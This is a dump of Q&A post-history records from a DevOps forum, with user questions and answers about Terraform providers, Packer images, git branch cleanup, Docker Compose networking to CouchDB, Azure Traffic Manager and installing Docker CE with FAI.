  <row Id="10489" PostHistoryTypeId="2" PostId="3343" RevisionGUID="a31d11bb-7658-47a1-b880-c6c0513dc36b" CreationDate="2018-02-13T19:15:25.327" UserId="6258" Text="I avoid &quot;baking&quot; user accounts into my OS image with Packer _unless_ there is an OS specific need for it.  For example, a service or system account that is needed across all of my deployments.&#xD;&#xA;&#xD;&#xA;My suggestion is to use a [Terraform provisioner][1] to create the user accounts.  That way you can change them when deploying the VMs via Terraform without having to create a new Packer image.  This also allows you to reuse the same Packer image for different purposes that may have different user accounts.&#xD;&#xA;&#xD;&#xA;Ultimately it depends on how your workflow is set up.  Do you want to make those changes on the VM image or during the deployment?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/intro/getting-started/provision.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10496" PostHistoryTypeId="6" PostId="2554" RevisionGUID="2b72c887-9fca-47c0-8d6f-f3c7d5a57e58" CreationDate="2018-02-13T22:16:57.420" UserId="3766" Comment="added a tag" Text="&lt;jenkins&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10497" PostHistoryTypeId="24" PostId="2554" RevisionGUID="2b72c887-9fca-47c0-8d6f-f3c7d5a57e58" CreationDate="2018-02-13T22:16:57.420" Comment="Proposed by 3766 approved by 40, 47 edit id of 619" ContentLicense="CC BY-SA 3.0" />
  <row Id="10501" PostHistoryTypeId="2" PostId="3347" RevisionGUID="3bef8e42-123e-4525-b3bf-dd6275fdd365" CreationDate="2018-02-14T02:40:41.837" UserId="6506" Text="I have a Terraform project which uses the MySQL provider.  Because of the way Terraform works, the MySQL provider will fail to load correctly because the AWS_RDS instance doesn't exist.  Is there a way for me to delay or split my project so that the MySQL provider doesn't load during the main &quot;apply&quot;?&#xD;&#xA;&#xD;&#xA;I've examined workspaces, and I see that you can use a count to trigger a resource to load or not load based off of the workspace name.  But that didn't work anyway I thought.&#xD;&#xA;&#xD;&#xA;I've also seen this issue mentioned on the Hashicorp GitHub, but on one seems to be offering a workaround&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated." ContentLicense="CC BY-SA 3.0" />
  <row Id="10502" PostHistoryTypeId="1" PostId="3347" RevisionGUID="3bef8e42-123e-4525-b3bf-dd6275fdd365" CreationDate="2018-02-14T02:40:41.837" UserId="6506" Text="Terraform: Delay the MySQL Provider" ContentLicense="CC BY-SA 3.0" />
  <row Id="10503" PostHistoryTypeId="3" PostId="3347" RevisionGUID="3bef8e42-123e-4525-b3bf-dd6275fdd365" CreationDate="2018-02-14T02:40:41.837" UserId="6506" Text="&lt;terraform&gt;&lt;mysql&gt;&lt;terraform-module&gt;&lt;terraform-workspace&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10504" PostHistoryTypeId="5" PostId="3347" RevisionGUID="122df908-ee1d-453c-b0e2-1752c057f104" CreationDate="2018-02-14T02:56:55.950" UserId="6506" Comment="added 1579 characters in body" Text="I have a Terraform project which uses the MySQL provider.  Because of the way Terraform works, the MySQL provider will fail to load correctly because the AWS_RDS instance doesn't exist.  Is there a way for me to delay or split my project so that the MySQL provider doesn't load during the main &quot;apply&quot;?&#xD;&#xA;&#xD;&#xA;I've examined workspaces, and I see that you can use a count to trigger a resource to load or not load based off of the workspace name.  But that didn't work anyway I thought.&#xD;&#xA;&#xD;&#xA;I've also seen this issue mentioned on the Hashicorp GitHub, but on one seems to be offering a workaround&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated.&#xD;&#xA;&#xD;&#xA; Here is a snippet of my data-storage configuration thus far:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_db_subnet_group&quot; &quot;default&quot; {&#xD;&#xA;      name       = &quot;${var.database_subnet_group_name}&quot;&#xD;&#xA;      subnet_ids = [&quot;${var.database_subnets}&quot;]&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;${var.database_subnet_group_name}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_rds_cluster_instance&quot; &quot;cluster_instances&quot; {&#xD;&#xA;      count              = 1&#xD;&#xA;      identifier         = &quot;app-aurora-cluster-${count.index}&quot;&#xD;&#xA;      cluster_identifier = &quot;${aws_rds_cluster.some_cluster.id}&quot;&#xD;&#xA;      instance_class     = &quot;db.t2.medium&quot;&#xD;&#xA;      db_subnet_group_name = &quot;${var.database_subnet_group_name}&quot;&#xD;&#xA;      publicly_accessible = true&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_rds_cluster&quot; &quot;some_cluster&quot; {&#xD;&#xA;      cluster_identifier = &quot;app-aurora-cluster&quot;&#xD;&#xA;      availability_zones = [&quot;${var.database_azs}&quot;]&#xD;&#xA;      database_name      = &quot;${var.database_name}&quot;&#xD;&#xA;      db_subnet_group_name = &quot;${var.database_subnet_group_name}&quot;&#xD;&#xA;      master_username    = &quot;auroradmin&quot;&#xD;&#xA;      master_password    = &quot;%XwPn}gU6sX&lt;y8Wx&quot;&#xD;&#xA;      skip_final_snapshot =  true&#xD;&#xA;      vpc_security_group_ids = [&quot;${var.database_security_groups}&quot;]&#xD;&#xA;    }&#xD;&#xA;    /*&#xD;&#xA;    # This has to be commented out during the first pass&#xD;&#xA;    # because Terraform will try to connect to the &#xD;&#xA;    # MySQL Aurora server to refresh the state even &#xD;&#xA;    # though it currently doesn't exist.&#xD;&#xA;    # Configure the MySQL provider&#xD;&#xA;    provider &quot;mysql&quot; {&#xD;&#xA;    &#xD;&#xA;      endpoint = &quot;${aws_rds_cluster.some_cluster.endpoint}&quot;&#xD;&#xA;      username = &quot;auroradmin&quot;&#xD;&#xA;      password = &quot;%XwPn}gU6sX&lt;y8Wx&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10505" PostHistoryTypeId="5" PostId="3321" RevisionGUID="0b1c7fa3-ed58-41bd-8f57-81e122cf5795" CreationDate="2018-02-14T09:41:56.257" UserId="6375" Comment="Format content for easy reading and adding few tags for better filtering" Text="The number of branches is growing and growing. The aim is to remove branches that are older than X weeks.&#xD;&#xA;&#xD;&#xA;**Attempt 1**&#xD;&#xA;&#xD;&#xA;Running `git branch -h` will probably indicate what to run to check when a branch has been created.&#xD;&#xA;&#xD;&#xA;    user@localhost $ git branch -h&#xD;&#xA;    usage: git branch [&lt;options&gt;] [-r | -a] [--merged | --no-merged]&#xD;&#xA;       or: git branch [&lt;options&gt;] [-l] [-f] &lt;branch-name&gt; [&lt;start-point&gt;]&#xD;&#xA;       or: git branch [&lt;options&gt;] [-r] (-d | -D) &lt;branch-name&gt;...&#xD;&#xA;       or: git branch [&lt;options&gt;] (-m | -M) [&lt;old-branch&gt;] &lt;new-branch&gt;&#xD;&#xA;       or: git branch [&lt;options&gt;] [-r | -a] [--points-at]&#xD;&#xA;    &#xD;&#xA;    Generic options&#xD;&#xA;        -v, --verbose         show hash and subject, give twice for upstream branch&#xD;&#xA;        -q, --quiet           suppress informational messages&#xD;&#xA;        -t, --track           set up tracking mode (see git-pull(1))&#xD;&#xA;        --set-upstream        change upstream info&#xD;&#xA;        -u, --set-upstream-to &lt;upstream&gt;&#xD;&#xA;                              change the upstream info&#xD;&#xA;        --unset-upstream      Unset the upstream info&#xD;&#xA;        --color[=&lt;when&gt;]      use colored output&#xD;&#xA;        -r, --remotes         act on remote-tracking branches&#xD;&#xA;        --contains &lt;commit&gt;   print only branches that contain the commit&#xD;&#xA;        --abbrev[=&lt;n&gt;]        use &lt;n&gt; digits to display SHA-1s&#xD;&#xA;    &#xD;&#xA;    Specific git-branch actions:&#xD;&#xA;        -a, --all             list both remote-tracking and local branches&#xD;&#xA;        -d, --delete          delete fully merged branch&#xD;&#xA;        -D                    delete branch (even if not merged)&#xD;&#xA;        -m, --move            move/rename a branch and its reflog&#xD;&#xA;        -M                    move/rename a branch, even if target exists&#xD;&#xA;        --list                list branch names&#xD;&#xA;        -l, --create-reflog   create the branch's reflog&#xD;&#xA;        --edit-description    edit the description for the branch&#xD;&#xA;        -f, --force           force creation, move/rename, deletion&#xD;&#xA;        --merged &lt;commit&gt;     print only branches that are merged&#xD;&#xA;        --no-merged &lt;commit&gt;  print only branches that are not merged&#xD;&#xA;        --column[=&lt;style&gt;]    list branches in columns&#xD;&#xA;        --sort &lt;key&gt;          field name to sort on&#xD;&#xA;        --points-at &lt;object&gt;  print only branches of the object&#xD;&#xA;&#xD;&#xA;**Attempt 2**&#xD;&#xA;&#xD;&#xA;This post https://stackoverflow.com/questions/3184555/cleaning-up-old-remote-git-branches was found, but this is not an option as it removes branches without checking the age." ContentLicense="CC BY-SA 3.0" />
  <row Id="10506" PostHistoryTypeId="4" PostId="3321" RevisionGUID="0b1c7fa3-ed58-41bd-8f57-81e122cf5795" CreationDate="2018-02-14T09:41:56.257" UserId="6375" Comment="Format content for easy reading and adding few tags for better filtering" Text="git command for find branch created date time?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10507" PostHistoryTypeId="6" PostId="3321" RevisionGUID="0b1c7fa3-ed58-41bd-8f57-81e122cf5795" CreationDate="2018-02-14T09:41:56.257" UserId="6375" Comment="Format content for easy reading and adding few tags for better filtering" Text="&lt;git&gt;&lt;branch&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10508" PostHistoryTypeId="24" PostId="3321" RevisionGUID="0b1c7fa3-ed58-41bd-8f57-81e122cf5795" CreationDate="2018-02-14T09:41:56.257" Comment="Proposed by 6375 approved by 40, 707 edit id of 620" ContentLicense="CC BY-SA 3.0" />
  <row Id="10509" PostHistoryTypeId="4" PostId="3061" RevisionGUID="6f022500-66c5-4e10-86d6-00afc7dbf521" CreationDate="2018-02-14T10:25:19.387" UserId="6375" Comment="Adding a tag for better filtering " Text="How to automate unit testing a UWP app?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10510" PostHistoryTypeId="6" PostId="3061" RevisionGUID="6f022500-66c5-4e10-86d6-00afc7dbf521" CreationDate="2018-02-14T10:25:19.387" UserId="6375" Comment="Adding a tag for better filtering " Text="&lt;automation&gt;&lt;dotnet&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10511" PostHistoryTypeId="24" PostId="3061" RevisionGUID="6f022500-66c5-4e10-86d6-00afc7dbf521" CreationDate="2018-02-14T10:25:19.387" Comment="Proposed by 6375 approved by 707, 40 edit id of 622" ContentLicense="CC BY-SA 3.0" />
  <row Id="10512" PostHistoryTypeId="4" PostId="891" RevisionGUID="526e4049-8847-4a43-83a9-0482b1dadc27" CreationDate="2018-02-14T10:27:13.697" UserId="6375" Comment="Adding a tag for better filtering " Text="Prevent Azure Traffic Manager from routing over high latency connections in a fail-over scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10513" PostHistoryTypeId="6" PostId="891" RevisionGUID="526e4049-8847-4a43-83a9-0482b1dadc27" CreationDate="2018-02-14T10:27:13.697" UserId="6375" Comment="Adding a tag for better filtering " Text="&lt;azure&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10514" PostHistoryTypeId="24" PostId="891" RevisionGUID="526e4049-8847-4a43-83a9-0482b1dadc27" CreationDate="2018-02-14T10:27:13.697" Comment="Proposed by 6375 approved by 707, -1 edit id of 621" ContentLicense="CC BY-SA 3.0" />
  <row Id="10515" PostHistoryTypeId="5" PostId="891" RevisionGUID="23ca0c9d-54b1-4a64-af1d-1d98d858fc01" CreationDate="2018-02-14T10:27:13.697" UserId="40" Comment="added 1 character in body; edited title" Text="We have a service hosted in four regions, two in North America and two in Europe.  We are using [Azure Traffic Manager][1] to provide:&#xD;&#xA;&#xD;&#xA; 1. **Performance-based routing** - that is routing consumers to the service that has the lowest latency.&#xD;&#xA; 2. **Fail-over** - if one region is down, traffic is routed elsewhere.&#xD;&#xA;&#xD;&#xA;[![Traffic Manager Architecture  (Regions in Europe and North America)][2]][2]&#xD;&#xA;&#xD;&#xA;As it turns out if a service goes down, then Traffic Manager will spread the load across all other endpoints to reduce the chance of a cascading failure.&#xD;&#xA;&#xD;&#xA;For us, however, we would rather run each region with enough capacity to be able to handle the traffic of two regions than force our users to make transatlantic requests.&#xD;&#xA;&#xD;&#xA;Is it possible to configure Traffic Manager to always route to the next-nearest region in the event an endpoint is down?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/traffic-manager/traffic-manager-overview&#xD;&#xA;  [2]: https://i.stack.imgur.com/dJR2I.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10516" PostHistoryTypeId="4" PostId="891" RevisionGUID="23ca0c9d-54b1-4a64-af1d-1d98d858fc01" CreationDate="2018-02-14T10:27:13.697" UserId="40" Comment="added 1 character in body; edited title" Text="How to prevent Azure Traffic Manager from routing over high latency connections in a fail-over scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10517" PostHistoryTypeId="2" PostId="3348" RevisionGUID="fbe2248e-6891-456a-9a86-899460a6dd2b" CreationDate="2018-02-14T11:10:19.153" UserId="707" Text="The lowest boundary of a Docker image can be very small i.e. under 1 MB (busybox) or even zero bytes (scratch).&#xD;&#xA;&#xD;&#xA;Now for research purporses, I need to reference the biggest Docker image on the Docker Hub. &#xD;&#xA;&#xD;&#xA;How to find it? " ContentLicense="CC BY-SA 3.0" />
  <row Id="10518" PostHistoryTypeId="1" PostId="3348" RevisionGUID="fbe2248e-6891-456a-9a86-899460a6dd2b" CreationDate="2018-02-14T11:10:19.153" UserId="707" Text="What is the biggest Docker image on Docker Hub and how to find it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10519" PostHistoryTypeId="3" PostId="3348" RevisionGUID="fbe2248e-6891-456a-9a86-899460a6dd2b" CreationDate="2018-02-14T11:10:19.153" UserId="707" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10520" PostHistoryTypeId="2" PostId="3349" RevisionGUID="adf15c3b-c8b5-416d-992a-9e609fe4681e" CreationDate="2018-02-14T11:35:03.200" UserId="6511" Text="I am trying to connect to couchdb through the container but my app is not seeing it.&#xD;&#xA;&#xD;&#xA;**ENV FILE**&#xD;&#xA;&#xD;&#xA;    NODE_ENV=production&#xD;&#xA;    COUCHDB_SERVER=http://user:pass@couchdb:5986&#xD;&#xA;    COUCHDB_USER=user&#xD;&#xA;    COUCHDB_PASSWORD=pass&#xD;&#xA;&#xD;&#xA;However if I use the external address `123.456.789.123:12345` (`server_ip:external_port`) &#xD;&#xA;it works but I need a connection through network with the internal port `5986`.&#xD;&#xA;&#xD;&#xA;I Also tried links instead of networks but the same issue.&#xD;&#xA;&#xD;&#xA;     links:&#xD;&#xA;     - couchdb&#xD;&#xA;&#xD;&#xA;**Docker-Compose.yml**&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;        services:&#xD;&#xA;          couchdb:&#xD;&#xA;            image: couchdb:latest&#xD;&#xA;            restart: always&#xD;&#xA;            volumes:&#xD;&#xA;              - couchdb-data-volume:/usr/local/var/lib/couchdb&#xD;&#xA;            env_file: .env.docker&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;12345:5986&quot;&#xD;&#xA;            networks:&#xD;&#xA;              app-net:&#xD;&#xA;                aliases:&#xD;&#xA;                  - couchdb&#xD;&#xA;          app:&#xD;&#xA;            build: .&#xD;&#xA;            image: app&#xD;&#xA;            restart: always&#xD;&#xA;            depends_on:&#xD;&#xA;              - couchdb&#xD;&#xA;            env_file: .env.docker  &#xD;&#xA;        networks:&#xD;&#xA;          app-net:&#xD;&#xA;            driver: bridge&#xD;&#xA;        volumes:&#xD;&#xA;          couchdb-data-volume:&#xD;&#xA;&#xD;&#xA;Any Ideas ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10521" PostHistoryTypeId="1" PostId="3349" RevisionGUID="adf15c3b-c8b5-416d-992a-9e609fe4681e" CreationDate="2018-02-14T11:35:03.200" UserId="6511" Text="Docker Compose V3 app container can't access couchdb container" ContentLicense="CC BY-SA 3.0" />
  <row Id="10522" PostHistoryTypeId="3" PostId="3349" RevisionGUID="adf15c3b-c8b5-416d-992a-9e609fe4681e" CreationDate="2018-02-14T11:35:03.200" UserId="6511" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10523" PostHistoryTypeId="6" PostId="3348" RevisionGUID="efff1813-7bf6-42b2-ba34-9a0b3ad8ea5a" CreationDate="2018-02-14T11:37:22.110" UserId="3766" Comment="added a tag" Text="&lt;docker&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10524" PostHistoryTypeId="24" PostId="3348" RevisionGUID="efff1813-7bf6-42b2-ba34-9a0b3ad8ea5a" CreationDate="2018-02-14T11:37:22.110" Comment="Proposed by 3766 approved by 707 edit id of 623" ContentLicense="CC BY-SA 3.0" />
  <row Id="10525" PostHistoryTypeId="5" PostId="3349" RevisionGUID="ec8c175f-d73c-4995-bc09-e4e59a4a9a33" CreationDate="2018-02-14T11:44:46.597" UserId="6511" Comment="edited body" Text="I am trying to connect to couchdb through the container but my app is not seeing it.&#xD;&#xA;&#xD;&#xA;However if I use the external address `123.456.789.123:12345` (`server_ip:external_port`) &#xD;&#xA;it works but I need a connection through network with the internal port `5986`.&#xD;&#xA;&#xD;&#xA;**Docker-Compose.yml**&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;        services:&#xD;&#xA;          couchdb:&#xD;&#xA;            image: couchdb:latest&#xD;&#xA;            restart: always&#xD;&#xA;            volumes:&#xD;&#xA;              - couchdb-data-volume:/usr/local/var/lib/couchdb&#xD;&#xA;            env_file: .env.docker&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;12345:5986&quot;&#xD;&#xA;            networks:&#xD;&#xA;              app-net:&#xD;&#xA;                aliases:&#xD;&#xA;                  - couchdb&#xD;&#xA;          app:&#xD;&#xA;            build: .&#xD;&#xA;            image: app&#xD;&#xA;            restart: always&#xD;&#xA;            depends_on:&#xD;&#xA;              - couchdb&#xD;&#xA;            env_file: .env.docker  &#xD;&#xA;        networks:&#xD;&#xA;          app-net:&#xD;&#xA;            driver: bridge&#xD;&#xA;        volumes:&#xD;&#xA;          couchdb-data-volume:&#xD;&#xA;&#xD;&#xA;**ENV FILE**&#xD;&#xA;&#xD;&#xA;    NODE_ENV=production&#xD;&#xA;    COUCHDB_SERVER=http://user:pass@couchdb:5986&#xD;&#xA;    COUCHDB_USER=user&#xD;&#xA;    COUCHDB_PASSWORD=pass&#xD;&#xA;&#xD;&#xA;I Also tried links instead of networks but the same issue.&#xD;&#xA;&#xD;&#xA;     links:&#xD;&#xA;     - couchdb&#xD;&#xA;&#xD;&#xA;Any Ideas ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10526" PostHistoryTypeId="2" PostId="3350" RevisionGUID="bc6e4f68-7bdc-4d92-9db6-910f41892a11" CreationDate="2018-02-14T12:40:24.147" UserId="6513" Text="You should add the correct zone attribute for the host and the service, so they will propagate to the client node.&#xD;&#xA;&#xD;&#xA;Add `&quot;zone&quot;: &quot;client.com&quot;` to the api requests." ContentLicense="CC BY-SA 3.0" />
  <row Id="10527" PostHistoryTypeId="6" PostId="3349" RevisionGUID="4a719d5a-da95-4c58-9ae3-4216abb7b695" CreationDate="2018-02-14T13:03:06.110" UserId="3766" Comment="added a tag" Text="&lt;docker&gt;&lt;containers&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10528" PostHistoryTypeId="24" PostId="3349" RevisionGUID="4a719d5a-da95-4c58-9ae3-4216abb7b695" CreationDate="2018-02-14T13:03:06.110" Comment="Proposed by 3766 approved by 40, 6511 edit id of 624" ContentLicense="CC BY-SA 3.0" />
  <row Id="10529" PostHistoryTypeId="2" PostId="3351" RevisionGUID="b1468c3c-eb51-42aa-b3fb-79c29053efee" CreationDate="2018-02-14T15:09:32.427" UserId="47" Text="Your difficulty stems from encouraging potentially long-lived branches, which is deviating from the CI methodology - which is supposedly why you'd be using jenkins - a CI tool - in the first place.&#xD;&#xA;&#xD;&#xA;Normally you shouldn't be running the tests for those branches in the Jenkins pipeline for the trunk - you want to measure the quality of the integrated work, not that of the work done in the silos.&#xD;&#xA;&#xD;&#xA;I do understand the desire to run such tests before merging into trunk, so maybe it's OK to use jenkins to do it if you want to, but with separate jobs/pipelines, not tied into the trunk pipeline. Personally I'd go for an automated patcing/merging solution based on pre-commit verifications (but I'm biased, I built several of them), see https://devops.stackexchange.com/questions/1984/how-to-ensure-that-git-subtrees-are-kept-up-to-date/2765#2765&#xD;&#xA;&#xD;&#xA;Anyways, since the code for the various pipeline segments that you seek to perform in parallel comes from different branches you won't be able to use **the same** workspace, you have to pull separate workspaces from the respective, different branches. Which makes the question kinda moot.&#xD;&#xA;&#xD;&#xA;Final note: assuming the same workspace *could* be used in multiple builds, your #2 approach requires a pristine build structure. It's not uncommon for less-than-perfect builds running in parallel in the same workspace to interfere with each-other: race conditions creating/deleting directories, overwriting artifacts, too high peaks of resource usage, etc - typically hard to repro intermittent failures. These could easily happen if, for example, the builds would be for the same product but for different CPU architectures, or builds including code shared across multiple products. Just be aware of the possibility." ContentLicense="CC BY-SA 3.0" />
  <row Id="10530" PostHistoryTypeId="5" PostId="3351" RevisionGUID="2e64acb8-141b-4f89-8107-5aa05993e1e6" CreationDate="2018-02-14T15:18:41.057" UserId="47" Comment="added 372 characters in body" Text="Your difficulty stems from encouraging potentially long-lived branches, which is deviating from the CI methodology - which is supposedly why you'd be using jenkins - a CI tool - in the first place.&#xD;&#xA;&#xD;&#xA;Normally you shouldn't be running the tests for those branches in the Jenkins pipeline for the trunk - you want to measure the quality of the integrated work, not that of the work done in the silos.&#xD;&#xA;&#xD;&#xA;I do understand the desire to run such tests before merging into trunk, so maybe it's OK to use jenkins to do it if you want to, but with separate jobs/pipelines, not tied into the trunk pipeline. And keep in mind that the results of such tests aren't necessarily conclusive: just because they pass over there doesn't mean the same tests will also pass in the trunk, you'll need *very* strict conditions to make that always true.&#xD;&#xA;&#xD;&#xA;Personally I'd go for a fully automated patcing/merging solution based on pre-commit verifications which can enforce the strict conditions necessary to prevent post-merge trunk quality regressions (but I'm biased, I built such solutions). See for example https://devops.stackexchange.com/questions/1984/how-to-ensure-that-git-subtrees-are-kept-up-to-date/2765#2765&#xD;&#xA;&#xD;&#xA;Anyways, back to the question. Since the code for the various pipeline segments that you seek to perform in parallel comes from different branches you won't be able to use **the same** workspace, you have to pull separate workspaces from the respective, different branches. Which makes the question kinda moot.&#xD;&#xA;&#xD;&#xA;Final note: assuming the same workspace *could* be used in multiple builds, your #2 approach requires a pristine build structure. It's not uncommon for less-than-perfect builds running in parallel in the same workspace to interfere with each-other: race conditions creating/deleting directories, overwriting artifacts, too high peaks of resource usage, etc - typically hard to repro intermittent failures. These could easily happen if, for example, the builds would be for the same product but for different CPU architectures, or builds including code shared across multiple products. Just be aware of the possibility." ContentLicense="CC BY-SA 3.0" />
  <row Id="10531" PostHistoryTypeId="50" PostId="2341" RevisionGUID="916894f6-3b97-4e0a-8ee1-ec13062b32bd" CreationDate="2018-02-14T17:28:42.380" UserId="-1" />
  <row Id="10532" PostHistoryTypeId="8" PostId="3321" RevisionGUID="d528f1c3-0026-47be-a332-61e68590904a" CreationDate="2018-02-14T17:54:30.510" UserId="210" Comment="Rollback to [bc7bba1a-3198-4037-b48e-eb2b538beb7a]" Text="Git is used at work. The number of branches is growing and growing. The aim is to remove branches that are older than X weeks.&#xD;&#xA;&#xD;&#xA;**Attempt 1**&#xD;&#xA;&#xD;&#xA;Running `git branch -h` will probably indicate what to run to check when a branch has been created.&#xD;&#xA;&#xD;&#xA;    user@localhost $ git branch -h&#xD;&#xA;    usage: git branch [&lt;options&gt;] [-r | -a] [--merged | --no-merged]&#xD;&#xA;       or: git branch [&lt;options&gt;] [-l] [-f] &lt;branch-name&gt; [&lt;start-point&gt;]&#xD;&#xA;       or: git branch [&lt;options&gt;] [-r] (-d | -D) &lt;branch-name&gt;...&#xD;&#xA;       or: git branch [&lt;options&gt;] (-m | -M) [&lt;old-branch&gt;] &lt;new-branch&gt;&#xD;&#xA;       or: git branch [&lt;options&gt;] [-r | -a] [--points-at]&#xD;&#xA;    &#xD;&#xA;    Generic options&#xD;&#xA;        -v, --verbose         show hash and subject, give twice for upstream branch&#xD;&#xA;        -q, --quiet           suppress informational messages&#xD;&#xA;        -t, --track           set up tracking mode (see git-pull(1))&#xD;&#xA;        --set-upstream        change upstream info&#xD;&#xA;        -u, --set-upstream-to &lt;upstream&gt;&#xD;&#xA;                              change the upstream info&#xD;&#xA;        --unset-upstream      Unset the upstream info&#xD;&#xA;        --color[=&lt;when&gt;]      use colored output&#xD;&#xA;        -r, --remotes         act on remote-tracking branches&#xD;&#xA;        --contains &lt;commit&gt;   print only branches that contain the commit&#xD;&#xA;        --abbrev[=&lt;n&gt;]        use &lt;n&gt; digits to display SHA-1s&#xD;&#xA;    &#xD;&#xA;    Specific git-branch actions:&#xD;&#xA;        -a, --all             list both remote-tracking and local branches&#xD;&#xA;        -d, --delete          delete fully merged branch&#xD;&#xA;        -D                    delete branch (even if not merged)&#xD;&#xA;        -m, --move            move/rename a branch and its reflog&#xD;&#xA;        -M                    move/rename a branch, even if target exists&#xD;&#xA;        --list                list branch names&#xD;&#xA;        -l, --create-reflog   create the branch's reflog&#xD;&#xA;        --edit-description    edit the description for the branch&#xD;&#xA;        -f, --force           force creation, move/rename, deletion&#xD;&#xA;        --merged &lt;commit&gt;     print only branches that are merged&#xD;&#xA;        --no-merged &lt;commit&gt;  print only branches that are not merged&#xD;&#xA;        --column[=&lt;style&gt;]    list branches in columns&#xD;&#xA;        --sort &lt;key&gt;          field name to sort on&#xD;&#xA;        --points-at &lt;object&gt;  print only branches of the object&#xD;&#xA;&#xD;&#xA;**Attempt 2**&#xD;&#xA;&#xD;&#xA;This post https://stackoverflow.com/questions/3184555/cleaning-up-old-remote-git-branches was found, but this is not an option as it removes branches without checking the age." ContentLicense="CC BY-SA 3.0" />
  <row Id="10533" PostHistoryTypeId="7" PostId="3321" RevisionGUID="d528f1c3-0026-47be-a332-61e68590904a" CreationDate="2018-02-14T17:54:30.510" UserId="210" Comment="Rollback to [bc7bba1a-3198-4037-b48e-eb2b538beb7a]" Text="What git command could be used to check when a remote branch was created?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10534" PostHistoryTypeId="9" PostId="3321" RevisionGUID="d528f1c3-0026-47be-a332-61e68590904a" CreationDate="2018-02-14T17:54:30.510" UserId="210" Comment="Rollback to [bc7bba1a-3198-4037-b48e-eb2b538beb7a]" Text="&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10536" PostHistoryTypeId="2" PostId="3352" RevisionGUID="d0b07b02-291e-4c57-ac6e-a9ede3c4c173" CreationDate="2018-02-14T19:09:32.543" UserId="3070" Text="## Problem&#xD;&#xA;&#xD;&#xA;I want to install [Docker CE](https://www.docker.com/community-edition) on a Debian Stretch system using [FAI (Fully Automated Installation)](http://fai-project.org/). The official Docker documentation recommends that you [install Docker using their package repository](https://docs.docker.com/install/linux/docker-ce/debian/#install-using-the-repository). I'm not sure how do this with FAI.&#xD;&#xA;&#xD;&#xA;## Docker Installation Instructions&#xD;&#xA;&#xD;&#xA;The given instructions for installing Docker are as follows.&#xD;&#xA;&#xD;&#xA;1. Install packages to allow `apt` to use a repository over HTTPS:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo apt-get -y install \&#xD;&#xA;    apt-transport-https \&#xD;&#xA;    ca-certificates \&#xD;&#xA;    curl \&#xD;&#xA;    gnupg2 \&#xD;&#xA;    software-properties-common&#xD;&#xA;&#xD;&#xA;2. Add Docker's official GPG key to APT:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    curl \&#xD;&#xA;    -fsSL \&#xD;&#xA;    https://download.docker.com/linux/$(. /etc/os-release; echo &quot;$ID&quot;)/gpg \&#xD;&#xA;    | sudo apt-key add -&#xD;&#xA;&#xD;&#xA;3. Add the Docker repository to APT:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo add-apt-repository \&#xD;&#xA;    &quot;deb [arch=amd64] https://download.docker.com/linux/$(. /etc/os-release; echo &quot;$ID&quot;) \&#xD;&#xA;    $(lsb_release -cs) \&#xD;&#xA;    stable&quot;&#xD;&#xA;&#xD;&#xA;4. Update the APT package index:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;&#xD;&#xA;5. Install the `docker-ce` package:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo apt-get install docker-ce&#xD;&#xA;&#xD;&#xA;## Solution Attempt&#xD;&#xA;&#xD;&#xA;I decided to create an FAI class called `DOCKER` for this installation.&#xD;&#xA;&#xD;&#xA;First I create the following hook for the `DOCKER` class (`/srv/fai/config/hooks/repository.DOCKER`):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # Install required packages for `add-apt-repository` utility&#xD;&#xA;    sudo apt-get install \&#xD;&#xA;    apt-transport-https \&#xD;&#xA;    ca-certificates \&#xD;&#xA;    curl \&#xD;&#xA;    gnupg2 \&#xD;&#xA;    